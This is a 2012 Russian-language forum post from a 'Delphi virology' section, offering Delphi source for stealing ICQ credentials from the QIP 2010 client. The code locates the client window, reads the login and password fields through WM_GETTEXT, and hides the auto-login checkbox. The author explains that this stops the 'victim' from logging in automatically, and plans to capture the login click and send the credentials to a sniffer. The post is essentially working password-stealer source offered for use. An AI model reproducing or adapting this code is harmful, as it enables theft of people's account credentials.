[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]

Страница 1 из 1 1
Модератор форума: Волк-1024, Anton93, xXxSh@dowxXx

delfcode » Delphi » Вирусология Delphi » тащим пароли с icq,skype,и тд (API)

тащим пароли с icq,skype,и тд

oke

Дата: Суббота, 19.05.2012, 16:32 | Сообщение # 1

Постоянный

Зарегистрирован: 15.01.2012

Группа: Пользователи

Сообщений: 124

Статус: Offline

На примере я использовал QIP 2010 и вот что получилось))

Code

unit Unit1;

interface

uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls, ExtCtrls;

type
   TForm1 = class(TForm)
     Memo1: TMemo;
     Button1: TButton;
     procedure Button1Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;

var
   Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
   okno,login,psswd,auto:HWND;
   log,pass:array [0..255] of char;
begin
   okno:=FindWindow('TfrmMan.UnicodeClass','QIP 2010');
   if okno<>0 then
   login:= FindWindowEx(okno,0,'TInfuComboBox.UnicodeClass',nil);
   psswd:= FindWindowEx(okno,0,'TInfuEdit.UnicodeClass',nil);
   Sendmessage(login,WM_GETTEXT,20,Integer(@log));
   Sendmessage(psswd,WM_GETTEXT,20,Integer(@pass));
   Memo1.Lines.Add('ICQ : '+ log);
   Memo1.Lines.Add('Password : '+pass);
   auto:= FindWindowEx(okno,0,'TInfuCheckBox.UnicodeClass','Не спрашивать пароль');
   if auto<>0 then
   ShowWindow(auto,SW_HIDE);
end;

end.

сделал невидимой галочку "запомнить пароль" чтоб жертва не нажмала и в дальнейшем не смогла зайти автоматически а мы же дописываем процедуру отлова кнопки вход и при ее нажатии отсылаем на сниффер happy